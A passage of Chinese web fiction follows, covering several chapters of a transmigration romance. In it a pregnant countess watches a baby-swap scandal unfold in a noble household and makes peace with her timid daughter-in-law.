窦绍当没看见他的,心里没有半点愧疚,他看这小子不顺眼已经很久了,没事就借口像孩子,跑去正院缠着卫姜,也不知道是不是跟他母亲说了自己坏话,这些日子,她对他又看不顺眼了。
年轻人就是不能闲,还是滚去读书为好。
“我娘为什么憋着火气,您不知道吗?又不是我惹的,我怕什么。”窦景不服气地犟嘴。
“你……”窦绍气的要抽他。
前些日子窦绍为了讨她欢心,做了好几身衣服,都是她喜欢的颜色,想着她喜欢他的脸,自然会开心些,谁知道效果相反,卫姜非但没有痴迷他的美色,甚至对他有些生气。
当时这臭小子也在,还在旁边煽风点火老来俏,没看到他娘脸都黑了,看他更是眼睛不是眼睛鼻子不是鼻子了。
做老子不好过,当儿子的还想娇妻爱子守在一起,他想的美。
“明日就去,我让顺才亲自送你去。”
窦景整个脸都皱起来了,气呼呼地走了。
卫姜是个孕妇,比旁人更怕热,哪怕大家都说晚间有风,凉爽很多,她依旧感觉不到,不远处的盆里那些冰块散发着冷气,卫姜真想把那冰抱到怀里,可惜这是不行的,就连这两盆冰还是她争取来的,窦绍怕她贪凉严格控制着她的用冰。
这个时候卫姜就无比怀念空调,这是冷气对着她吹得有多舒服,说到这个,她又想起冰激淋了,要是能吃一个得多好。
真不想,一想就馋的肝儿疼,她咽了咽口水,觉得喉咙都要冒火了,她恳求地看向田彩,带着丝谄媚地笑:“好田彩,乖田彩,你家夫人要热死了,你再去给我弄个雪花酪吧。”她带着撒娇地摇着田彩的手。
所谓的雪花酪就是土味的冰激淋,将干果、牛奶混着冰沙调制而成,吃起来口感倒是挺不错,和后世各种口味的冰激淋自然是没法比,但在这里,炎炎处暑,这可是相当解暑的。
卫姜现在最喜欢就是吃这个了,每天睁开眼醒来就盼着。
长佩才进来就听到这话,立马拒绝道:“这可不行,大人吩咐了,每日只让你最多吃上一碗,您今日可是吃了两碗了。”
卫姜脸一垮,比了手势:“那碗才这么小,我再吃一点,我都热的睡不着,他又不是御医,别听他的,他又没生过,没有发言权。”
长佩叹了口气,“黄院判就是这么吩咐的,大人再才再三叮嘱,让我们要看住你,让你少吃那些冰的。”
卫姜绝望地往后一倒,把脸贴在象牙席凉一凉,这张象牙席还是大长公主留下来的东西,卫姜怕热的很,长佩她们开了库房给拿出来了。
以前都是锁起来的,因为太过珍贵,就连宫里也没有几张,卫姜刚知道的时候都不敢躺,就怕弄坏了。
但你别说,真的是比一般凉席凉爽舒适,但也有可能是它贵的让卫姜心静自然凉了。
见她这个样子,长佩有些心软,夫人生少爷的时候也没有这样怕热过,如今是受苦了,今日晚膳都没用几口。
“要不,奴婢给你端碗酸梅汁来?”
酸梅汁要冰镇才好喝,常温还不如不喝,卫姜赌气偏过头。
长佩只好继续妥协,“那……奴婢给你用井水镇一下。”
虽然没有之间防冰那么凉,但卫姜也知道这是她们能做的最大让步了,她总算点了点头。
窦绍回来的时候,卫姜刚喝完酸梅汁。
“我的长工回来了,你们下去歇息吧,歇歇手腕。”卫姜语气带着调侃,还有一丝幸灾乐祸看好戏。
他不让卫姜大量用冰,她就让他给自己,只要他回房,这活就是他的,卫姜戏虐地叫他窦长工。
还嫌弃团扇风不够大,特意让下人换成了蒲扇,这蒲扇在他手里,竟然变得简朴雅致了几分,
窦绍接过蓝心手中的扇子,顺眼又看了下旁边的空碗,能闻到有股淡淡的甜酸味。
窦绍挥手让下人都出去,自己接了蓝心刚刚的位置,轻轻地为她煽风。
活该!卫姜瞪了他一眼,翻过身去,“大力一点,没吃晚饭啊,还有,把你衣服拉好,衣冠不整的成何体统。”
谁家正紧人把领口开那么大,勾引谁呢,卫姜鼻子呼出火辣辣的粗气。
窦绍轻笑了一下,听话的把领口轻轻拢好,自己也在外边躺下,知道她怕人手中的扇子一刻也敢停。
“我听说太子妃身子恢复的差不多了?”过了好一会儿,卫姜又转过身开口问他。
窦绍嗯了一声。
“那葛姑娘不用进宫了吗?”
窦绍手中扇子一顿,在她反应过来前又恢复了动作,他看了她一眼,低垂着眼眸,让人看不清他在想什么。
他再次嗯了一声,“最近葛姑娘不用进宫了,东宫和皇后娘娘都赏赐了她不少东西。”
太子妃身子大好,葛月拿到重赏也是理所当然的,只是这么久了,她怎么还没下一步动作呢?难道皇后并没有认出来?
卫姜:“皇后娘娘没有再见过葛姑娘吗?”
卫姜自身子显怀后就没有进宫过了,这些消息她只能找窦绍打听。
窦绍摇头,“皇后娘娘最近怕是有些忙,没有功夫见旁人吧,苏家要给她家老太太办大寿,前些日子她还特意召见了苏家老太太呢。”
苏家要办大寿,她怎么不知道?
“你想去?
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”窦绍看她眼神一动,猜到了她的想法:“帖子已经送来了,我明日让人给你。”
卫姜点头,又怕他多想,补充了一句:“我在家闷的慌,去凑凑热闹。”
她可不是喜欢凑热闹的人,何况是这么热的天。
旁边的卫姜熬不住睡着了,窦绍依旧摇着手中的扇子,想着苏家的事情,苏家老太太今年也不是什么整寿,这么热的天大办寿宴却是有些蹊跷,难道……
他手指轻轻敲打住床榻,闭着眼睛脑子里想着她刚刚问的那些事,皇后、苏家、葛月……
那位葛姑娘的相貌,严氏,难道……,窦绍猛地睁开眼,眼神深邃地看向卫姜。
次日是休沐日,潞王很早就来了府里找窦绍下棋,这快一个月了,只要是休沐日潞王是风雨无阻,当然他也很有分寸,只占用窦绍小半日的时间。
没一会儿,就有人来禀报,说是窦夫人带着表小姐来了。
真是司马昭之心,潞王来窦家堵窦绍,这窦氏带着表小姐就是来偶遇潞王的。
自从知道潞王在窦家出现后,她就经常来缠着卫姜了,看样子是想让女儿嫁给潞王,卫姜也是看她为女儿操碎了心,且也没有做什么过分的事情,也就忍了,只当她们是来给自己解闷的。
再说了,窦绍都说让她别管,宫里已经给潞王看好婚事了,等宣了婚旨意她也就死心了。
“热不热,让厨房做几碗雪花酪来。”卫姜看赵慧娘热的小脸蛋通红。
等长佩端上来三碗雪花酪,卫姜心满意足地笑了。
“多谢舅母。”赵慧娘温温柔柔地道谢。
“试试,很好吃。”
窦氏吃了一口,也点头:“这东西真好吃,冰冰的可真凉快。”她挖了一大勺放进嘴里,见卫姜吃的也快,犹豫了一会还是道:“二嫂如今有身孕,这东西还是要多注意些。”
怎么连她也说起来了,卫姜加快了速度,三两下吃完,擦完嘴才道:“我也就才吃了这一点,吃的不多。”
窦氏这个人势力刻薄,又有些端着,就比如她看上了潞王想把女儿嫁给人家,可又不会真的去主动干什么,好像在等着卫姜和窦绍发现她的目的,上赶着帮她促成。
她和卫姜绕来绕去,说了半日废话,窦氏绕了半天都没达到目的,神色有些恹恹,她看向女儿,对赵慧娘道:“今日天好,慧娘也去园子里走走吧。”
卫姜强忍住才没笑,她是想让女儿去园子里偶遇吗?可惜潞王很是收礼,连二门都没有进过,更别说逛她们家园子了。
赵慧娘怕是白跑一趟,何况这么晒,但她又不能坏人家好事,窦绍自己也说了,让她别管。
卫姜只能吩咐人给她撑了把伞,“就在阴凉处逛逛,外面太热了,一会儿就回来,小心中暑了。”
赵慧娘总觉得县主是看穿了母亲的谋划,脸有些烧的慌,母亲常说县主是个不聪明的,也就出身好,命好。
赵慧娘却不觉得,这些日子的想处来看,她觉得自己这位县主舅母是个聪明人,总是能看穿别人的一切。
她脸臊得慌,连忙走了出去
卫姜忽然想起苏家的事情,便问窦氏:“听说苏家老太太办寿宴,她老人家今年多大了?”
“好像五十多吧,不是整寿。”窦氏想着又刻薄了一句:“怕是严氏又要显露贤惠孝顺,故意弄什么寿宴。”她啧啧两句,“大热天的竟折腾,不过也奇怪,这次老夫人怎么也同意了?”
她带着些疑惑,苏家老夫人最是低调的一个人,一向不喜欢办什么寿宴的。
卫姜却心里有些数了,看来这次宴会还真要去参加,想必能看一出好戏,狸猫换太子,真假公侯千金。
剧情终于来了。
24. 第 24 章
苏家是京中一等门第,最初是太宗御赐宅邸,后来几位国公又扩建了些,如今前后各占了一条街,整个府邸分为上中下三路,每一路都是五进的院子,为的就是让子孙在一起住的宽敞些。
到了这一代,苏老夫人给老国公生了三个儿子,可惜老三早逝,如今只有老二跟着大哥依旧住在国公府。
如今这诺大的府邸就住了两房人,苏国公只有一儿一女,苏家二老爷如今膝下也只有一女,倒是显得子嗣凋零了些。
苏老夫人得知幼子的死太过伤心,管起门日夜礼佛,就连家人都见不到她几面,并别说外面的人了。
之前她只听别人说过卫姜这位县主的为人,但却没有怎么见过,不过她心里却是犹疑的,就是那人人都说好的人照样背地里也能干出那丢人显眼的事情,这人人都说不好的,也未必就真不好。
如今一打照面,她更坚定了自己的想法,这眼神坚定,带着一脸笑的女子怎么会真是那蛮横泼才。
“这是有几个月了?”老夫人笑着地看向她的肚子问道。
“六个多月了。”
卫姜手摸了一下肚子,有些难为情,这旁边还站在老大一个儿媳妇,这肚子又揣了一个,只怕等下就要问道孙子了。
老夫人打量了她几眼,点头道:“你这怀相好,以后好生,不是说你今年添了孙儿。”
她又看向一旁的陶氏,“这是你儿媳吧,长得可真标致。”
说着就要赏她东西,陶氏推脱不掉只能接了,谁知老夫人又让人送上一个礼盒说是给孩子的,这下陶氏不敢接了,看向卫姜。
卫姜:“老夫人,这可不能收,他小孩子家家还不能收这么贵重的人。”
一般人家都有些讲究,孩子出生后就会请高人看看八字,老夫人也是动的,她笑呵呵让人打开:“不是什么贵重东西。”里面放着的是一个银项圈。
这锦盒她是昨日里就让人备下的,若是卫姜真如传言那般她也就不送了。
老夫人毕竟是长辈,且也确实不是什么贵重之物,卫姜只能让陶氏收下:“早知道我就该把他抱来给您磕头,倒是白受了你的赏。”
“这天热也别折腾孩子了,下次有机会再抱来给我瞧瞧。”她看向卫姜身后:“怎么就你们婆媳过来了,窦大人是大忙人,你儿子怎么也没来。”
卫姜笑道:“怎么?老夫人是担心我们婆媳吃的少,抢不过她们?”
这俏皮话惹得众人大小,老夫人也忍不住了,直说她促狭。
卫姜:“景哥儿回书院了,所以今日才来不了给您拜寿。”
老夫人点头:“读书重要,这寿不寿的也就那个意思,其实我……”她忽然想到了什么,咽下了要说的话。
旁边的徐老夫人问卫姜:“景哥儿可是明年要下场?”
“我也不知道,我不管这个的。”
这是她今天说的最真的话,可惜没人相信,那些跟着婆婆一起来的年轻媳妇都偷偷打量着陶氏。
以前都同情她的遭遇,觉得她遇到的婆婆难缠,怕是难熬,如今她婆婆改了性子,她们心里又有些不是滋味了,有些嫉妒了。
婆婆是县主,公公是重臣,如今丈夫也上进,以他窦景的才学和家世,不就是铁板钉钉的新科进士,她怎么命这么好?
老夫人看着卫姜婆媳和众人笑着应酬,你来我往,把无数机锋消解在轻柔细语中,她有些惋惜,其实一开始她是想替大儿子求卫家女的,只可惜缺了点缘分,那时的卫姜一眼就看中了窦绍。
事实也证明她卫姜的眼光不错,这个男人没选错。
“老太太,贺家大夫人来给您拜寿了。”严氏带着一行人走了进来。
葛月也混在贺家女眷中,有些人窃窃私语,毕竟葛月搬出贺家的事也不是没有风声,不知道怎么今日她们又一起来了。
想到苏家和信王的关系,又想到这位葛姑娘和信王的纠葛,有些人竟觉得快有好戏看了。
“正好,宫里的贤妃娘娘说葛姑娘如今一个人住在外面也孤单,让我们多带她走走,我想着老太太这次办寿宴,索性带她一起来沾沾喜气。”
这话说的漂亮,也解释了葛月为什么会来这里,若是说是苏家邀请的,众人更会觉得奇怪,只会觉得苏家重视葛月和信王的纠缠了,认亲后苏家和葛月的名声怕是会被人说嘴。
这样安排确实巧,苏家也是费了心的,不知道是皇后的意思,还是老夫人的意思。
众人都在打量葛月,只有卫姜先是偷偷看了一眼既然认回女儿的严氏,发现她并不激动,甚至有些冷淡,而且卫姜发现,她的脸色并不好,虽然有脂粉遮盖,眼底的青黑依旧可见。
“县主?”
听到老夫人的叫她,卫姜的思绪收了回来。
只见老夫人把窦明叫了过来:“今儿就让明儿招待你们吧,我们两家是亲家,你也别客套,当自己家一样,照顾不周你可不要怪罪。”
考虑到卫姜是孕妇,老夫人安排可谓贴心。
严氏上前准备搀扶苏家老太太,却被躲开了,这一幕刚好就被一旁的卫姜瞧见了,她动了下眉头,这苏家婆媳今日都有些怪?
难道要认回自家孩子太激动了?
“婶婶,我们是去我院里坐坐还是也去戏楼那边听听戏。”
去后院可就错过好戏了,这可是名场面,她怎么能不在。
“去戏楼,找个……”想到葛月跟贺家在一起,“嗯,跟贺家人近一点的位置。”
近水楼台先得月,她靠近女主好看戏
这是什么说法,难道婶母是有事要找贺家?
卫姜看向身边的陶氏:“我刚见你母亲和嫂子也到了,你去找她们说说话吧。”
陶氏也想去,可她看一眼婆母的肚子,摇头道:“我跟在娘身边吧。”
“行了,让你去就走,你跟在我身边也不自在。”
陶氏还是有些怵她,见语气稍重些她依旧心里害怕,再也不敢多说,只一个劲地托付窦明多多照看。
“我看过两日还是把她送去和窦景作伴吧,跟在我身边像个鹌鹑一样,眼都不敢抬”卫姜看着陶氏渐渐走远,步伐越来越轻松愉悦。
窦明不知道说什么,她也是做媳妇的,自然知道陶氏在婆母面前的不自在,她试着给陶氏找个理由:“嫂子读书人家出身,性格柔和些也是自然。”
卫姜摇头:“她是被我吓怕了,在我身边才不自在。”
窦明这才反应过来,刚刚她那话并不是嫌弃陶氏,而是像让陶氏过的自在些,这才要把她送到丈夫身边。
“你婆母最近又再找你麻烦吗?”虽然确定严氏应该忙的没有时间了,不过还是多嘴问了一句。
窦明摇头,自从上次公公神来一笔,婆母已经安静很久了,就连丈夫回来后她也没有再提什么纳妾。
“我看你婆母脸上不太好,最近又病了?”
窦明不确定,“说是没睡好。”整宿的睡不着,大夫开了药才能勉强睡两个时辰。
卫姜走的慢,她们到的时候,湖对面的戏楼已经开场了。
虽然天很热,但廊下放了很多冰盆,微风吹过,倒是也很舒爽,众人都沉浸戏台上的表演,只有卫姜有些无聊,因为她想看的戏还没有开场。
侍女们鱼贯而入,穿插在长廊中,为各位贵客奉上茶点,其中一位侍女也不知道是不是手没拿稳,脚下一滑,手上端着的雪花酪整个倒在葛月身上,整件衣裳都已狼藉。
侍女吓的发抖,倒是葛月并没有为难她,老夫人皱了下眉头,给葛月赔礼,又让人带她去换衣裳。
卫姜用手撑着一边脸,静静等待着下一幕。
很快,那位侍女又急匆匆地跑来了,手中捧着一枚玉佩,她扑通一声跪在严氏面前,邀功道:“夫人,您的玉佩找到了。”
跟在后面葛月也到了,她白皙的脸上有些红晕,可能是一路跑来的,她微微带着些不悦:“这是我的玉佩。”
严氏手有些轻颤,她旁边的嬷嬷接过玉佩,仔细看了又看,这才道:“确实是夫人十几年前丢失的那块。”
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月脸上已经冷下来了:“不可能,这是我亲生母亲留给我的信物。”
“这……确实是我丢失的玉佩,是我的陪嫁,严家每一个嫡女出生时家里都会给准备,这里面还有我的名字。”严氏声音很轻,带着飘忽感。
“你们看,这株兰隐喻了我的名字中的兰,还有这里,这里有一道小小的刮痕,是通儿小时候弄的。”
众人看着严氏,有些反应不过来,难道苏家还有一位流落在外的女儿?
葛月懵住了,脸色都变了:“可我的养母说,这是我娘留给我的唯一物件。”
贺家大夫人开口插画道:“葛姑娘就是上京寻亲的,如今这玉佩,难道葛姑娘是苏家的孩子?”
那嬷嬷心急问道:“不知姑娘什么时候生辰?”
葛月:“十月初八。”
众人嗡地一声议论开了,在老夫人身侧的苏青脸色煞白,她有些不安地看向母亲。
她们两人同一天生辰,如今仔细看,其实葛姑娘和母亲长的有些相似,难道……她咬了咬嘴唇,又坚定的摇头,不会的!
那些只是戏文里的故事,她是公侯府千金,她自小到大身边就没缺过人,她的身世怎么可能有假。
她想站起来反驳那些人的猜测,却被人拉住了,老夫人朝她安抚地笑笑,轻轻摇头,让她坐下。
老夫人:“今日我也累了,这天也热,我看也就散了吧。”
众人明白,这是老夫人打发她们走,好去查这件事呢?
苏家难道还会丢孩子?可真是近几十年京城最好笑的笑话了,她们就说那苏青长得貌美如花的,和严氏怎么瞧都不像,偏苏家人嘴硬,说苏青长得像苏家的姑奶奶。
大家都等着看后续,自那日后葛月也一直没有离开苏家。
大概半个月后,苏家又下了帖子,这次是为苏家新认回来的二小姐苏月也就是葛月举办的宴会。
据苏家人的说话,苏月是被严氏身边最信任的乳娘换走了,这位乳娘只有一个独子,偏偏独子为了保护主人死了,只留下一个遗腹女,正好那个时候夫人也要生产了,那乳娘魔障了,便换了孩子,她让自己的孙女也过着人上人的富贵日子,以后不再为奴为婢。
这个乳娘很早就死了,苏月也被她转手卖给了葛家。
众人看向苏青的目光有些一样,也就是说她这个苏家大小姐是鸠占鹊巢了,是卑贱的奴仆之子。
老夫人见苏青羞愧的无地自容,眼中闪过心疼,她勉强挤出笑容道:“祸不及子女,那乳娘已经受到了天罚,青儿是我苏家抚养长大,自小善良孝顺,她没有任何过错,民间有句话:养恩大于天,她从叫苏青的那一刻起,她就是我苏家的女儿了,我们国公府多个女儿也不是养不起,老身希望大家不要再议论青儿的身世,她是我保国公府的大小姐,苏家永远是她的家,是她的靠山,她的地位不会有任何改变。”
苏青早已泣不成声,扑在老夫人怀里叫着祖母。
老夫人的话让那些准备看苏青好戏,看她笑话的人都收起心思,苏妍嫉恨地看向苏青,眼中还有一丝从前不敢有的轻视。
又看了一眼刚认的亲堂姐,苏月,她低垂着眼眸,什么也看不见。
苏妍撇了下嘴角,这两位姐姐她都不喜欢。
保国公府的这场真假千金掉包大戏就这么落幕了,卫姜觉得顺利的过头,又有些粗暴仓促的感觉。
和书中写的一样,保国公府出面保下了养女苏青,但这一次苏青还保住了她大小姐的地位。
要知道在公侯之家,大小姐和二小姐一字之差,地位可是不一样的,葛月如今成了二小姐,这是卫姜没想到的。
卫姜有一种直觉,葛月的身世好像还有内情,她那个养母,还有那个稳婆怎么解释?
当家夫人身边的心腹,备受信任的乳娘轻松换掉了孩子。
卫姜就快要生孩子了,窦绍和卫家的人已经在安排生产的事情,围着她转的快有十来个了,这还不包括孩子身边的,
真的能神不知鬼不觉的换走?
25. 第 25 章
“夫人,少奶奶出事了?”长佩急匆匆走了进来。
卫姜错愕的抬头,脸色都变了:“怎么回事?”
陶氏是昨日去西山书院看望丈夫的,算算时间今日也该回来了?她是路上出事了?被土匪劫道了还是马车被撞了,这几日也没有下雨,路上应该不难走啊?
长佩连忙摇头,“少奶奶人好好,是……”她觑了一眼卫姜,声音小了一点:“少奶奶好像闯祸了!”
听到人没事,卫姜立马松了口气。
等了一小会的宝哥儿不乐意了,嗷嗷叫,垫着脚不停用手拍桌子,想让漂亮的祖母转过头来看看乖孙孙的大嘴巴空了。
他饿!圆溜溜的眼睛瞪着长佩,哼哼唧唧。
坏蛋,耽搁他干饭了,哼,他记住她了,下次要尿她一身!
“我们小馋猫生气了。”
卫姜看他那小样是真稀罕,示意等下再说,然后立马给宝哥儿小嘴里塞上一勺蛋羹。
宝哥儿肉乎乎的小手拍的更欢了,笑的眯了眼,一脸陶醉似地咽下,又迫不及待张开小嘴巴等着第二口。
见祖母摇头,他撅起嘴,泫然欲泣的模样让人心疼不已,可他太小了,哪能多吃,卫姜亲自给他擦了下小嘴巴。
“歇一会儿再给我们宝哥儿吃的好不好?”
也不知道他是不是真的听懂了,立马咧开嘴就笑了,还在卫姜的怀里蹬了两下,吓的长佩和宝哥儿乳娘立马过来抱他。
“没事。”
卫姜轻轻安抚着宝哥儿,他很快就没有在动了。
“我们宝哥儿好像长小乳牙了。”牙床上那小米粒很是明显。
乳娘回道:“是的,前几日才冒了尖。”
宝哥儿吃了东西就有些犯困,卫姜把他交给乳娘带下去,这才转身问长佩:“闯什么祸了?”
就陶氏那性情还能闯祸,说出去都没人信,“她人呢?”
既然人没事,怎么还未回来。
长佩:“少奶奶去了苏家。”
陶氏很早就从西山返回了,走到半路时被一队衣衫破旧的母子拦拦车,那妇人看着年纪比较大,脸色黝黑粗糙,那做儿子的正值壮年却病病歪歪的,她们说是从门头沟过来的,准备去京城投亲,他们走了大半日了,实在是走不动了。
他们想要搭个便车,连着拦了好多,都没有人肯,看他们说的可怜,陶氏是个心软的人,刚好后面有一辆空驴车,便就捎上了。
谁知道这对母子要寻的亲人是苏家大小姐啊!
也是陶氏运气不好,她原本就想着到了城里就把他们放下,也算是日行一善,可偏偏刚进城没多久,她们就撞上了刚从茶楼出来的苏青。
那母子俩一听到别人叫苏家大小姐就一骨碌地从车上滚了下来,一下子就从半死不活的样子变成了无赖泼妇。
两人拦住苏青一人叫做侄孙女,一人叫唤着侄女,弄的苏大小姐大为难堪。
在场的贵女众多,那些人看苏青的目光都变了,好像忽然就有了很清晰的认知,苏青是个假千金,她不是苏家那个高贵的大小姐,她是低贱的仆人之女,和她们不是一种人。
“最后还是苏家听到消息赶了过来,我们少奶奶也跟着过去了。”
众目睽睽,那两人是从陶氏车上下来的,她要是不跟过去,只怕苏家一位是窦家安排的,更有甚者只会以为是卫姜的手段。
“我对付她一个姑娘干什么?”卫姜为她们脑回路感到头疼
“这……总不可能是少奶奶的主意吧。”长佩低声道,有些不敢看卫姜的眼神。
谁让县主名声大呢,这种事更像是她的手笔,目的?那就多了,为了让苏家难堪,为了踩一下严氏。
卫姜扶额,真是人怕出名猪怕壮啊,她改过自新了怎么都不信呢,她想拍着变大的胸脯告诉大家,自己现在是良民啊
怎么又和苏家扯上了,最近葛月和信王走的近,眼看着剧情正有条不紊的走着,她是实在不想多事了。
她拍了拍身上的衣服,也不想再去换了,还是新的能出门见人:“走吧,赎人去。”
严氏的脸色不太好,陶氏见到卫姜来了,羞愧地低下头。
老夫人笑着道:“县主怎么过来了?”
卫姜:“听说我们家阿陶给你们家带来了麻烦,我给老夫人赔罪来了。”
老夫人道:“陶少奶奶把事情都说清楚了,这事本就和她不相干,县主这是臊老身呢,阿明,快,替我给你婶婶和嫂嫂陪个不是。”
窦明笑着起身,还真行了个礼,陶氏连忙过去扶起。
“苏大小姐呢?这次总归让她受惊吓了,我们怎么都要给她赔个礼。”
老夫人叹了口气,一旁的严氏也拧下眉头,葛月低着头清冷的脸上很是平静。
“她在自己房里呢?”想到孙女受到的难堪,老夫人脸色都阴沉了
老夫人转身朝严氏冷冷道:“把那两人早点处理了,就让他们继续在门头沟编一辈子的草鞋,我不想在京城看到他们,也不想他们来缠着青丫头。”
严氏诺诺应是。
葛月听了目光一闪,脸上很是平静,嘴角的讽意却没有藏住。
他们可真是为苏青着想啊!
他们有没有想过自己,自己明明是苏家的亲身女儿,被人家换了这么久,她苏青享受了十几年偷来的富贵日子,如今竟还这样偏宠着苏青,住最好的院子,依旧享受着苏家大小姐的待遇,他们怕下人轻视苏青,专门敲打了那些仆人,老太太还专门把身边的心腹嬷嬷派去侍候了。
可自己呢?她明明是亲生的,却只能当二小姐,明明她才是流落在外十几年吃尽苦头的受害者,凭什么她得不到应有的补偿,没有人在意她,母亲的嫌弃,祖母的疏离,父亲的冷淡,整个苏家只有兄长对她表示过欢迎。
她摸着那枚玉佩,他们是在责怪她多事揭破了身世吗?
可她凭什么不揭穿,苏青占着她的身份,享受着她的生活,她只是让一切回归原位。
没关系,他们会知道自己才是苏家的女儿,她才是最有价值的。
卫姜看向葛月因为用力泛着青白的手指,又看向老夫人和严氏,这两人都在心疼苏青却忘了亲女儿的心情。
难怪后面葛月和苏青的关系并不好,书中结局的时候,葛月做了皇后,苏青却进了庵堂清修。
这都是做家长的偏心,可也不能怪苏家的人,一个是养了多年掌上明珠,忽然说不是亲女儿了,身份虽然变了,可感情是不可能一夕间就转换的过来。
可站在葛月的立场上,她受尽委屈,吃了太多苦才回到家,可至亲却疼爱那个西贝货多过她,要知道她的悲剧还是那个假千金的亲人造成的。
嗯,这么一想,卫姜觉得女主还是能忍的,要是自己,早就开撕了!
管她的什么无辜不无辜,怎么说她都是得益者,就要承受后果。
要是坏人都没有惩罚,岂不是以后人人都可以为了私利做坏事了,以后人人都想换孩子了,反正自己孩子以后也不会被牵连,依旧享受着富贵。
这才是苏家最蹊跷的地方,哪怕真的舍不得苏青,或是把她送走,又或是养到别的地方呢?
看苏家老太太的样子也不像是不知道这些啊,而且看的出来她很紧张苏青。
卫姜在苏家待了半个时辰的样子,又去探望了苏青,然后才带着陶氏告辞了。
“对不起,母亲,都是我做错了事?”
卫姜平静看着她,问道:“你做错了什么?”
陶氏喃喃,半天却说不出来:“是我错了。”
卫姜:“既然想不到自己做错了何事,为何一定要认
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错。”
陶氏抬头,有些错愕。
卫姜叹气,有些语重心长道:
“我知道以前有些事我做的不对,也让你受到了伤害,我要跟你说声对不起,是我做错了,伤害了你,希望你原谅我,你怕我也能理解,不怪你。”
“但我想跟说,以后你面对我不用那么惶恐,我不会再去伤害你,要是我做的过分了,你可以跟我说,我们哪怕做不成亲如母女的婆媳,也可以做到互相尊重,理解。以后你也不用事事谨慎小心,只要是你觉得没做错的事情,那就是没错。”
“今日你也没有做错什么,你不过是好心帮了那母子一把,你又不是成心算计。”
陶氏已经泣不成声,呜呜哭成一团,卫姜掏出手帕递了过去。
她没想到婆母竟然会跟她说对不起,给她道歉,她那压抑已久的委屈再也忍不住,她带着哭音问道:“母亲是不是不喜欢我,我是不是哪里做的不好?”
这是她一直藏在心底的疑问,今日终于大着胆子问了出来。
卫姜:“不是你的错,你很好,心地善良还真的好看,性情也好,你事事都好,是我,是我有病。”
陶氏明明上一刻还带着埋怨,可听到卫姜说有病,立马紧张关心道:“婆母是何病?”
心里扭曲的病,简称变态!
卫姜只能尴尬笑了一下:“心病,已经都好了。”说着拍了拍陶氏的手,脸看向车外,这是不想谈了。
陶氏眼角红,抽咽还未完全停住,虽然婆母刚刚那么说,可她心里还是不敢放肆。
所以下车的时候,窦府的人都见到县主冷着脸挺着大肚子走的飞快,而少奶奶红肿着眼睛,一路抽抽噎噎。
这是又被骂了还是被罚了!
县主都已经好久没打骂人了,少奶奶怎么又犯到她手上了,下人们下意识紧紧身上的皮。
窦绍晚上回府的时候,觉得自家下人今日特别的恭敬,做事也勤快了几分。
等他终于了解到事情真相后,顿时哭笑不得。
余威仍在啊
窦绍刚在外侧躺下,卫姜翻身侧了过来,一双好看的凤眼格外的亮。
“怎么还没睡?”
卫姜:“睡不着,你说要不早点让陶氏去西山吧。”
窦绍点头:“也行,反正离中秋还有半个月,倒时候让他们一家三口再回来就好了,怎么忽然想起让她早点过去了。”
之前不是她舍不得宝哥儿,就一直说等中秋后窦景回来过节,再把她们母子带走。
“这不是今日出了事吗?谁知道你在外面得罪了什么人。”她斜了他一眼,要不然陶氏一个后宅妇人,谁会来设计她。
这家里看着会得罪人的也就只有他了。
那认亲的母子太奇怪了,而且今日太巧了,任何一个环节出错,苏青都不会如此狼狈。
要说不是人设局,她都不信。
窦绍:“也不一定是冲着我们家来的。”
卫姜来了兴趣,噌地抬起头,身子一下子坐直了。
窦绍心都哆嗦了一下,“你小心点。”
这肚子她也敢,也不怕闪着腰了。
“那会冲着谁?”
窦绍好像有些意外她这样问,看了她一眼。
一孕傻三年,是,她变得有些傻了,用的着这么奇怪地看她吗?卫姜拳头都硬了。
看她呼吸不对,窦绍立马不卖关子了:“苏家这样行事出事是早晚的事,你说现在谁最恨苏青?。”
是葛月?
卫姜有些不敢相信,书中的女主虽然精于算计,可她从来没有主动害过谁的,她怎么会……
卫姜皱眉,不可能啊!
“能这么快找到那对母子,而且还能把我们家拉上,那位葛姑娘可不简单。”窦绍脸上闪过冷意。
26. 第 26 章
保国公府最漂亮精致的院子叫慕月院,位于西路后花园,小三进,后面还有一排后罩房,这里有小门可以直通后街。
苏青就住在这里,当初老夫人和老国公看中这里宽敞雅致亲自给挑选的,足可见对这嫡孙女的喜爱。
按理来说这样配置的院子不适合姑娘家住的,如今她的身世又被揭破了,苏家完全可以给她换个住处,但苏家并没有这么做,苏青依旧住着苏家最好的地方。
自从身世被揭破,苏青的人生好像破了洞一样,她怎么都想不通,她怎么可能不是爹娘亲生的,明明以前大家都说她长得像父亲的。
可来了一个长得像娘的姑娘,她就变成假的了,她的世界忽然就天翻地覆,整个人都是懵的,她很羞愧,为自己有那样的亲人而愧疚,为自己占据了人家的身份而感到不安,她其实不知道自己的家在哪里?,但她知道不应该再留在苏家了。
今天那对母子的到来打破了她的掩耳盗铃,苏家不是她的家,他们不追究已经是大度了,她若留在这里,对真正的苏月来说不公平。
是自己害得她流落在外,怎么有面目留下来,让她日日对着仇人还要叫姐姐吗?这是何等的残忍。
她要离开,想到离开亲人她的眼泪就忍不住的滚落,这里的东西都不属于她,她也不想带走,她只打包了几件平常衣裳,太好的她以后也穿不上。
想到今日那对母子衣着寒酸,也许以后她也会变成这样的人,她又从妆盒里掏出两锭银子。
就算是她借的吧,她不是真的不知世事,离开苏家,没有苏家大小姐的身份,以后的日子会有多苦她可以想象的到,这些银子就算是她借来当本钱的,等她安顿好了,能过上日子了,她会还回来的。
看她把小包袱背起就要离开,那些侍女们也顾不得了,一把抱住苏青的小腿:“小姐,你不能走啊,你要走也把奴婢带走吧。”
这是侍候她多年的大丫鬟,苏青也舍不得她,可她不想欠苏家太多,何况……“我不是苏家大小姐了,你跟着我做什么呢,我也用不起下人了。”
红姑悲从中来,哇地一声哭了。
她的小姐怎么命这么惨。
“怎么了?”去报信的人带着老夫人来了。
苏家老太太看见苏青穿着细布衣裳,这样的衣服她何时穿过,又看见她肩上的小包袱,老太太后倒一步。
“你是想要了我的命吗?你个没良心的,因为别人的几句话,你祖母也不要了,家也不要了吗?”
苏青再也忍不住,扑进了老太太怀里:“祖母,祖母,我……可是,我不是苏家的女儿,我是罪人的女儿,我有罪,我没有面目再留在您身边了,你原谅我的不孝。”
老太太怜惜地摸着她的头,眼中闪过怒气,“胡说,你在说什么胡话,你姓苏,你是我们苏家的大孙女,什么罪不罪人的,别听外面的人嘴碎,哪些人就是见不得别人好。”
她把苏青身上的包袱拿下来远远扔开,“祖母可离不开你,你要是走了就是要了祖母的命,你爹爹不在,还有祖母在呢?这苏家怎么你就住不得了。”
